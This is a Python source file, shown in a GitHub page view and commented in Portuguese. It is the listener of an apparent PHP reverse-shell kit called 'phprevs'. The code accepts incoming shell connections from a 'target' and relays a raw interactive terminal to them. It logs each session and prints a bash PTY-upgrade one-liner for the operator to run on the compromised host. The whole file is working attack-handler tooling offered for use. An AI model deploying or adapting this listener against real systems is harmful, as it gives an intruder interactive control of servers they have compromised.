Repository navigation
Expand file tree
/
Copy pathlisten.py
More file actions
114 lines (98 loc) · 4 KB
/
Copy pathlisten.py
File metadata and controls
114 lines (98 loc) · 4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#!/usr/bin/env python3
"""phprevs listen.py - listener TCP com terminal cru e log de sessao (stdlib).
- terminal local em modo raw: setas, Ctrl-C, Ctrl-Z passam como bytes
- traducao CRLF ligada por padrao (shell pipe-based fica utilizavel);
Ctrl-T alterna em tempo real; --raw desliga de vez
- Ctrl-] encerra a sessao (com --reconnect, volta a ouvir)
- log bidirecional da sessao em logs/session_<ts>.log
"""
from __future__ import annotations
import argparse
import os
import select
import socket
import sys
import time
try:
import termios
import tty
_HAS_TTY = True
except ImportError: # Windows: listener roda sem raw mode
_HAS_TTY = False
CTRL_DETACH = b'\x1d' # Ctrl-]
CTRL_TOGGLE = b'\x14' # Ctrl-T
def handle(conn, log, raw: bool) -> None:
conn.setblocking(False)
translate = not raw
while True:
r, _, _ = select.select([conn, sys.stdin], [], [], 1.0)
for fd in r:
if fd is conn:
data = conn.recv(8192)
if not data:
print('\n[!] alvo encerrou a conexao')
return
log.write(b'[S>] ' + data + b'\n')
log.flush()
if translate:
data = data.replace(b'\n', b'\r\n')
os.write(sys.stdout.fileno(), data)
elif fd is sys.stdin:
data = os.read(sys.stdin.fileno(), 8192)
if not data:
return
if data == CTRL_DETACH:
print('\n[*] sessao encerrada (Ctrl-])')
return
if data == CTRL_TOGGLE:
translate = not translate
print('\n[*] traducao CRLF: %s' % ('ON' if translate else 'OFF'))
continue
log.write(b'[C>] ' + data + b'\n')
log.flush()
if translate:
data = data.replace(b'\r', b'\n')
conn.sendall(data)
def main() -> int:
ap = argparse.ArgumentParser(description='phprevs listener (stdlib)')
ap.add_argument('port', type=int)
ap.add_argument('--host', default='0.0.0.0')
ap.add_argument('--reconnect', action='store_true',
help='continua ouvindo apos a sessao')
ap.add_argument('--raw', action='store_true',
help='sem traducao \\r\\n (para alvo com PTY real)')
ap.add_argument('--log-dir', default='logs')
args = ap.parse_args()
os.makedirs(args.log_dir, exist_ok=True)
print('[*] phprevs listener - Ctrl-] encerra | Ctrl-T alterna CRLF')
while True:
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind((args.host, args.port))
srv.listen(1)
print('[*] ouvindo %s:%d ...' % (args.host, args.port))
conn, addr = srv.accept()
print('[+] conexao de %s:%d' % (addr[0], addr[1]))
print('[*] upgrade de PTY no alvo (recomendado):')
print(" python3 -c 'import pty;pty.spawn(\"/bin/bash\")'")
log_path = os.path.join(args.log_dir, 'session_%d.log' % int(time.time()))
log = open(log_path, 'ab')
print('[*] log: %s' % log_path)
old = None
try:
if _HAS_TTY and sys.stdin.isatty():
old = termios.tcgetattr(sys.stdin.fileno())
tty.setraw(sys.stdin.fileno()) # teclas passam como bytes
handle(conn, log, args.raw)
except KeyboardInterrupt:
print('\n[*] interrompido pelo operador')
finally:
if old is not None: # restaura o terminal SEMPRE
termios.tcsetattr(sys.stdin.fileno(), termios.TCSADRAIN, old)
conn.close()
log.close()
if not args.reconnect:
break
return 0
if __name__ == '__main__':
sys.exit(main())